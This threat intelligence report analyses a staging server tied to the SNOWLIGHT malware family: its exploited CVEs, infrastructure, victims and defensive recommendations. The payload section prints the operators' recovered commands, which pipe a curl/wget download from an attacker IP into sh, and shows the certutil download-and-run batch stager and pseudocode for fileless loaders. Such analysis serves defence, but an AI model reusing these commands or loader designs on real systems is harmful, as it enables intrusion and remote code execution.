Tracing SNOWLIGHT: A China-Nexus Campaign Against Government Infrastructure

SOCRadar Threat Research Unit (STRU) identified and analyzed an exposed adversary-operated staging server containing a full attack infrastructure: reconnaissance lists, nine weaponized CVEs, a cracked Chinese version of Cobalt-Strike C2 (GoCobaltStrike / “GOCS”), a Metasploit Framework install, tunneling tooling, and payload-hosting infrastructure. The artifacts span a six-week operational window and provide direct evidence of both attempted and successful compromise against government and commercial infrastructure across more than 100 countries. Further analysis of the retrieved malware revealed a match with the SNOWLIGHT malware family, a family tracked by the Google Threat Intelligence Group (GTIG) and associated with China-nexus access brokers UNC5174/UNC6586.

Key Findings

• Attribution to China-Nexus Actors: The core delivery mechanisms have been definitively linked to the SNOWLIGHT malware family. Tracked by the Google Threat Intelligence Group since 2024, identified loaders are heavily associated with China-nexus access brokers UNC5174 and UNC6586.
• Cracked Chinese Reimplementation of Cobalt Strike C2 Infrastructure: Command and control (C2) infrastructure is managed via “GoCobaltStrike,” a specialized Chinese-language reimplementation of Cobalt Strike authored by the handle “星落”, featuring cracked license constraints.
• Government Sector Prioritization: More than 85% of mapped reconnaissance listings target national infrastructure, resolving to second-level government domains (.gov.*, .go.id) across Taiwan, Colombia, China, Brazil, Indonesia, Nigeria, the Philippines, and over 90 other geographical jurisdictions.
• High-Impact Endpoint Takeovers: Out of an expansive footprint exceeding 9,990 hostnames across 104 country-code TLDs (top-level domain), the threat actors successfully exploited 9 distinct CVEs to breach 107 endpoints. This includes critical administrative compromises: 16 root-level cPanel/WHM takeovers (CVE-2026-41940) and 1 Domain Admin level compromise via ProxyShell.
• Reverse Tunnel Traffic Obfuscation: Operators effectively masked their network trail by deploying Neo-reGeorg web shells over pre-existing JSP shell implants, using third-party compromised systems as reverse tunnels to proxy further malicious actions.
• Opportunistic “Spray-and-Check” Tactical Model: The campaign leverages automated scanning rather than bespoke targeting. Roughly 1 out of every 90 scanned targets resulted in a Remote Code Execution (RCE) oracle hit, credential theft, or shell validation.

The following section provides a detailed technical breakdown of the infrastructure supporting these operations. Our analysis reveals a mature and centralized staging environment designed to facilitate automated, cross-platform mass-exploitation. By correlating recovered shell command histories, network configurations, and staged payload artifacts, we have mapped the primary operational nodes that enable the adversary to deploy reconnaissance, manage C2, and deliver diverse malware variants at scale.

SNOWLIGHT Campaign Timeline

Adversary Infrastructure

The adversary infrastructure is centered around two primary hosts. The initial host, 130.94.17[.]180, was first detected on 2026-06-09, serves as a comprehensive, all-in-one attack platform executing internet-facing scanning and exploitation, hosting payloads, functioning as a C2 teamserver, and providing an interactive development environment for the operator. This system operates in conjunction with a second host, 130.94.30[.]168, which is utilized to distribute confirmed copies of the SNOWLIGHT malware family associated with UNC5174/UNC6586.

Operator Tradecraft Analysis:

• Language & Network Infrastructure: Shell histories, C2 user interface strings, and code commentary are predominantly written in Simplified Chinese. Furthermore, network configurations targeted Aliyun/China Telecom DNS resolvers (223.5.5.5, 114.114.114.114) and utilized mirrors.aliyun.com for package updates.

• Operator Fingerprinting: The most stable identifier within the dataset is a single source IP, 221.198.83[.]248, which generated 22 authenticated login sessions on the GOCS web-management interface using Edge 147 on a Windows 10 system.
• Remote Terminal Access: For routine daily operations, VS Code Remote Tunnels provided terminal management. This setup included automated cloud-metadata querying (GCP metadata, 169.254.169[.]254) characteristic of the tool’s default host-fingerprinting scripts.
• C2 Infrastructure Testing: Demonstrating platform experimentation outside of GOCS, the actors established and subsequently deleted an alternate Docker-based C2 infrastructure designated “fly-c2” (featuring fly-client/fly-server components, a management web UI, and an Aggressor-script framework).
• Graphical Environment Deployment: Graphical desktop setups (GNOME, XFCE) along with xrdp were repeatedly deployed and later wiped, indicating they were temporarily tested for GUI-reliant utilities before being abandoned.
• Two operator-linked IPs: 218.68.183[.]234 (used to fetch loader.exe/config.dat/game.ini from the payload server) and 221.198.83[.]248 (source of all 22 GOCS teamserver logins) – both resolve via WHOIS to China Unicom, Tianjin. This independently corroborates the CST/UTC+8 operator timezone already established from session logs, strengthening the China-nexus attribution beyond the malware match alone. A third IP, 92.38.135[.]196, is just a rented South Korea-registered VPS (virtual private server) used as a secondary Meterpreter LHOST – not indicative of location.

Payload Delivery & Staging Infrastructure: 130.94.30[.]168

Functioning as the operator’s dedicated server for payload staging, this secondary host consistently maps to the single endpoint 130.94.30[.]168:8080 across all instances within the shell history dataset.

Associated Domains

An analysis of the passive DNS history for the IP address 130.94.30[.]168 reveals two other hostnames associated with this endpoint:

Toolkit Inventory

The toolkit comprises a purpose-built reconnaissance pipeline, eleven distinct exploit chains, two tunneling tools, and four C2/RAT/malware families, including a verified SNOWLIGHT instance detailed in Payload Analysis section. These components were primarily assembled using public GitHub proof-of-concepts, alongside one pirated commercial C2 product and a single instance of a tracked, named malware family.

Payload Analysis

The malware suite evaluated in this section has been definitively identified as SNOWLIGHT. This threat toolkit includes a shell dropper alongside four architecture-specific ELF loaders, which function as the core payloads for the CVE-2026-34486 curl|sh command sequences targeting Taiwanese servers. Additionally, the campaign utilizes a sizable Windows PE component staged on the port-9000 payload server, as well as three subsequent multi-transport variants discovered later in the analysis.

Operational Origin

Recorded inside bash_history are five separate instances of the same URL, explicitly outlining the precise retrieval command run against an active target using the CVE-2026-34486 –rce parameter:

# bash_history:343
python3 exp.py -t 203.*.*.* -p 4000 --rce "(curl -fsSL -m180 http://130.94.30.168:8080/slt||wget -T180 -q http://130.94.30.168:8080/slt)|sh" 
  --ysoserial ./ysoserial-all.jar --tomcat-lib ./apache-tomcat-9.0.116/lib

# bash_history:344 - same payload broadcast to the full urls.txt batch (37 Taiwanese hosts)
python3 exp.py -f urls.txt -p 4000 --rce "(curl -fsSL -m180 http://130.94.30.168:8080/slt||wget -T180 -q http://130.94.30.168:8080/slt)|sh" 
  --ysoserial ./ysoserial-all.jar --tomcat-lib ./apache-tomcat-9.0.116/lib

# bash_history:348 - the ysoserial gadget chain that carries the above string as its OS command
java --add-opens java.base/java.lang=ALL-UNNAMED [...] -jar ysoserial-all.jar CommonsCollections6 
  "(curl -fsSL -m180 http://130.94.30.168:8080/slt||wget -T180 -q http://130.94.30.168:8080/slt)|sh" > payload_touch.bin

# bash_history:802, 804 - the operator's own dry run against 130.94.17[.]180 itself, nc listener open in parallel
nc -lvnp 6911
(curl -fsSL -m180 http://130.94.30.168:8080/slt||wget -T180 -q http://130.94.30.168:8080/slt)|sh

The /slt endpoint functions as a stage loader, serving a script that executes directly on the target. This script identifies the system architecture and downloads the corresponding SNOWLIGHT ELF payload. The nomenclature /slt (stage-loader-tcp) is consistent with the operator’s naming convention for other discovered loaders, such as c35ca3ebtcp and c35ca3ebws.

Sample Inventory

SNOWLIGHT Linux Variants: linux.sh + linux_amd64/arm/arm64/i386

The linux.sh script, shown below, serves as the primary payload for hosts vulnerable to CVE-2026-34486 and is delivered straight from the /slt endpoint at hxxp://130.94.30[.]168:8080/slt. It is deployed on compromised systems using a conventional (curl … || wget …) | sh command sequence. Upon runtime execution, the script evaluates the host’s CPU architecture via uname -m, identifies the appropriate callback URL to retrieve the matching stage-2 binary, and runs it in the background.

l64="130.94.30.168:8080/?h=130.94.30.168&p=8080&t=tcp&a=l64&stage=true"
l32="130.94.30.168:8080/?h=130.94.30.168&p=8080&t=tcp&a=l32&stage=true"
a64="130.94.30.168:8080/?h=130.94.30.168&p=8080&t=tcp&a=a64&stage=true"
a32="130.94.30.168:8080/?h=130.94.30.168&p=8080&t=tcp&a=a32&stage=true"

v="c35ca3ebtcp"                    # randomized on-disk filename, "tcp" suffix
ARCH=$(uname -m)                  # x86_64 / i386 / i686 / aarch64 / armv7l → picks l64/l32/a64/a32
curl -fsSL -m180 ${url} -o $v || wget -T180 -q ${url} -O $v || python -c 'urllib.urlretrieve(...)'
chmod +x $v
nohup $(pwd)/$v >/dev/null 2>&1 &   # tries 6 writable dirs in sequence, backgrounds and detaches

All four binaries are the same C source (<arch>_tcp.c, per an embedded compiler string) cross-compiled per architecture; the only differences are the hardcoded self-identification tag (l64/l32/a64/a32) matching linux.sh’s variable names exactly.

Reconstructed logic from disassembly, as pseudocode (main() at offset 0x400950 in the amd64 build):

access("/tmp/log_de.log")            // kill-switch: file present → exit(0), do nothing
gethostbyname("130.94.30.168")      // falls back to inet_addr() if DNS fails
sock = socket(AF_INET, SOCK_STREAM, 0)
while (connect(sock, 130.94.30.168:8080) < 0) sleep(10);   // retries forever
send(sock, "l64���", 6)                 // check in with own arch tag
send(sock, &port_bytes, 2)
send(sock, &host_buffer, 32)
fd = syscall(SYS_memfd_create, "a", 0)   // anonymous, disk-less file descriptor
while ((n = recv(sock, buf, 4096, 0)) > 0) {
   for (i = 0; i < n; i++) buf[i] ^= 0x99;   // single-byte XOR "decryption" of the stage-3 payload
   write(fd, buf, n);
}
close(sock);
setenv("CWD", realpath(argv[0]), 1);
fexecve(fd, argv={"[kworker/0:2]", NULL}, environ);  // execs decoded payload, no disk artifact, spoofed process name

Kill Switch Mechanism: The presence of an empty file (any permissions) located at /tmp/log_de.log forces all four Linux loader variants to terminate instantly before establishing a connection with the C2 infrastructure.

SNOWLIGHT Windows Variants: windows.bat + windows_amd64.exe / windows_i386.exe

A secondary dropper/loader combination was subsequently detected within the capture, acting as the exact Windows parallel to linux.sh and the ELF loaders while targeting the same C2. This finding verifies that the operator employs a unified loader-generation pipeline capable of compiling cross-platform, synchronized Linux and Windows builds from an identical campaign ID.

windows.bat:
@echo off
setlocal enabledelayedexpansion

set u64="http://130.94.30.168:8080/?h=130.94.30.168&p=8080&t=tcp&a=w64&stage=true"
set u32="http://130.94.30.168:8080/?h=130.94.30.168&p=8080&t=tcp&a=w32&stage=true"
set v="C:UsersPublicc35ca3ebtcp.exe"
del %v%
for /f "tokens=*" %%A in ('wmic os get osarchitecture ^| findstr 64') do (
    set "ARCH=64"
)
if "%ARCH%"=="64" (
    certutil.exe -urlcache -split -f %u64% %v%
) else (
    certutil.exe -urlcache -split -f %u32% %v%
)

start "" %v%
exit /b 0

windows_amd64.exe (pseudocode):

peb = __readgsqword(0x60)                        // walk PEB → PEB_LDR_DATA → loaded-module list
kernel32 = find_module(peb, hash=0x...)             // ROR-13 hash match on module name
LoadLibraryA = resolve_export(kernel32, hash=0x0726774c) // same technique resolves every API below
LoadLibraryA("ws2_32.dll"); LoadLibraryA("user32.dll"); LoadLibraryA("msvcrt.dll")
GetTempPathA(path); strcat(path, "log_de.log")     // %TEMP%log_de.log - same kill-switch file as the ELF build
if (file_exists(path)) exit(0);            // present → do nothing, same trigger polarity as the ELF loader
gethostbyname("130.94.30.168")                       // falls back to inet_addr() on failure, identical to the ELF build
sock = socket(AF_INET, SOCK_STREAM, 0)
sockaddr.family_port = 0x901f0002                       // AF_INET + port 8080, same immediate as the ELF loader
while (connect(sock, 130.94.30.168:8080) < 0) Sleep(10000);  // 10-second retry loop, forever
send(sock, "w64���", 6)                           // check in with own arch tag
send(sock, &ip_fragment, ...)                       // several more send() calls, C2 IP string in fragments
buf = alloc(0x64000)                                // resolved via hash - exact allocator API not confirmed
while ((n = recv(sock, buf, 4096, 0)) > 0) {
   for (i = 0; i < n; i++) buf[i] ^= 0x99;             // identical single-byte XOR key as the ELF family
}
closesocket(sock)
execute(buf)                                       // hand-off resolved via hash - exact API not confirmed

The preservation of the filename C:UsersPublicc35ca3ebtcp.exe highlights the reuse of the specific c35ca3ebtcp tag observed in linux.sh, offering definitive evidence that both cross-platform variants were generated during a single build session. To fetch the payload without triggering alerts or spawning PowerShell or web browsers, the campaign utilizes certutil.exe -urlcache -split -f, a well-known Living-off-the-Land download method.

Disassembly at the entry point of the two PE payloads (measuring 3,584 bytes each and compiled on 2023-10-26) revealed that only Sleep is present in the static import table. This minimal import profile is due to the underlying logic: the malware uses a classic ROR-13 export-hashing routine, reminiscent of the Metasploit ‘block_api’ shellcode pattern, to locate necessary CRT, Winsock, and LoadLibraryA functions by scanning the Process Environment Block (PEB) dynamically at runtime. Analyzing these resolved execution calls demonstrates that the payload functions as a direct Win32 translation of the architecture seen in the ELF loader:

Multi-Transport Loader Variants (tcp/ws/kcp)

Additional drop files recovered from the same directory reveal that 130.94.30[.]168:8080 is not a single-protocol stager – it is a loader panel supporting at least three interchangeable transports, selected by the t= query parameter. This upgrades the earlier assessment: the backend is a genuine multi-protocol dispatcher, not a simple static file server.

Analysis of the disassembled ws variant (identified as linux_amd64_ws.c via its compiler string, along with an equivalent Windows PE build) shows that it does not perform a genuine WebSocket protocol upgrade despite its “ws” tag. The request lacks both the Upgrade: websocket and Sec-WebSocket-Key headers, functioning instead as a concealed plain-HTTP fetch.

linux_amd64 (ws variant – pseudocode):

sprintf(buffer,

  "GET /?a=%s&h=%s&t=%s&p=%d HTTP/1.1rn"
  "Host: %s:%drn"
  "User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:48.0) Gecko/20100101 Firefox/48.0rnrn",
  "l64", "130.94.30.168", "ws", 8080, "130.94.30.168", 8080);
send(sock, buffer, 1024, 0);

// then, byte-by-byte, scan the HTTP response for the CRLFCRLF header terminator...
while (!(buf[i-3]==0xd && buf[i-2]==0xa && buf[i-1]==0xd && buf[i]==0xa)) recv(sock, &buf[i++], 1, 0);

// ...then it's the identical memfd_create + XOR-0x99 + write pipeline as the tcp variant
fd = syscall(SYS_memfd_create, ...);
while ((n = recv(sock, buf, 4096, 0)) > 0) { for(i=0;i<n;i++) buf[i] ^= 0x99; write(fd, buf, n); }

The source endpoint for each dropper can be directly reconstructed from its content rather than guessed. The /slt endpoint is explicitly attested in the shell history (representing stage-loader-tcp: platform l + transport t); every other dropper embeds the identical two tokens (its specific a= architecture prefix and t= transport value) within its query string. Applying this confirmed key allows all remaining variants to be deterministically labeled:

Malware Family Match: SNOWLIGHT

The following table compares technical indicators extracted from our dataset against publicly documented characteristics of the SNOWLIGHT malware family, confirming a high-confidence match across all analyzed artifact attributes.

SNOWLIGHT Victimology and Campaign Metrics

An overview of targeted footprints across distinct campaigns, verified successful intrusions, and the corresponding global distribution of identified target assets.

Taiwan is the primary target of this campaign, leading in both reconnaissance harvest and overall target volume. It was the focus of two specific exploitation campaigns (CVE-2025-24813 and CVE-2026-34486) which resulted in verified compromises, including the host delivering the SNOWLIGHT sample. The targeting is broad, spanning government, healthcare, and education sectors.

The targeting of Taiwan aligns with the broader, persistent geopolitical tensions across the Taiwan Strait. Ongoing friction regarding sovereignty and international status often translates into intensified cyber activity, with Taiwan frequently serving as a primary focal point for state-aligned actors aiming to exert pressure, gather strategic intelligence, and disrupt critical government infrastructure.

Recommendations

To mitigate the risks posed by this campaign, organizations should adopt a defense-in-depth approach focusing on vulnerability management and proactive monitoring:

• Patch Vulnerable Systems: Prioritize patching the specific CVEs leveraged in this campaign, including CVE-2025-24813 (Apache Tomcat), CVE-2026-34486 (Apache Tomcat deserialization), and critical vulnerabilities in Microsoft Exchange (ProxyShell), cPanel/WHM, and Laravel.
• Deploy Kill-Switch Mitigation: For Linux environments, deploy an empty, non-writable file at /tmp/log_de.log. This acts as a reliable kill-switch for the SNOWLIGHT ELF loader, preventing execution upon initial infection attempts.
• Implement Network Monitoring: Monitor egress traffic for suspicious connections originating from servers to known attacker IPs (e.g., 130.94.17.180, 130.94.30.168). Block or alert on unauthorized curl or wget commands that attempt to fetch shell scripts from external, untrusted sources.
• Enhance Endpoint Security: Configure endpoint detection and response (EDR) solutions to detect fileless execution patterns, specifically the combination of memfd_create and fexecve. Alert on processes mimicking system threads, such as [kworker/0:2], which are used by the SNOWLIGHT payload for evasion.
• Strengthen Credential Hygiene: Given the threat actor’s demonstrated ability to harvest credentials and achieve domain-admin level access, enforce multi-factor authentication (MFA) across all administrative portals, including cPanel, WHM, and Exchange OWA.
• Hunt for IOCs: Regularly scan logs for the associated C2 domains and filenames (e.g., google.chromeupgrades.com, speedtest.qqmail.website) and review bash_history for the characteristic exploit command patterns identified in this report.

Conclusion

The campaign demonstrates a highly opportunistic and automated ‘spray-and-check’ tactical model employed by China-nexus threat actors to compromise a broad spectrum of global government and commercial infrastructure. By leveraging a centralized, multi-platform attack infrastructure (including cracked Cobalt-Strike derivatives and a sophisticated loader ecosystem) these operators have successfully achieved high-impact takeovers across more than 100 countries.

Organizations must prioritize patching exposed services, implementing strong multi-factor authentication, and monitoring for the specific indicators of compromise identified in this report to effectively counter these persistent and evolving threats.

Indicators of Compromise (IOCs)

MITRE ATT&CK Mapping